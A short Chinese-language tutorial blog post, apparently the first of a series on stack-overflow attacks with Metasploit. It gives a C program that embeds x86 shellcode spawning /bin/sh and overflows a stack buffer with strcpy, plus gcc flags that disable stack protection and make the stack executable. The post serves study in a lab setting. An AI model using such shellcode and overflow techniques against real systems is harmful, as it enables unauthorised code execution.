標籤:style blog http ar color 使用 sp for on
攻擊是在bt5下面進行,目標程式是在ubuntu虛擬機器上運行。
首先,需要搞明白什麼是棧溢出攻擊,詳細內容請閱讀
http://blog.csdn.net/cnctloveyu/article/details/4236212
這篇文章講的很清楚了,只是具體例子不是很準確,有點小錯誤。
下面貼上一個我驗證過的,修改過可執行檔例子。
//shell.c
1 #include<unistd.h> 2 3 char shellcode[] = 4 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 5 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 6 "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 7 char large_string[128]; 8 9 void main() { 10 char buffer[96]; 11 int i; 12 long *long_ptr = (long *) large_string; 13 14 for (i = 0; i < 32; i++) 15 *(long_ptr + i) = (int) buffer; 16 17 for (i = 0; i < strlen(shellcode); i++) 18 large_string[i] = shellcode[i]; 19 20 strcpy(buffer,large_string); 21 }
此程式使用gcc -fno-stack-protector -z execstack -g -o shell shell.c 編譯
程式執行完畢以後應該新開啟一個shell。
使用metasploit進行棧溢出攻擊-1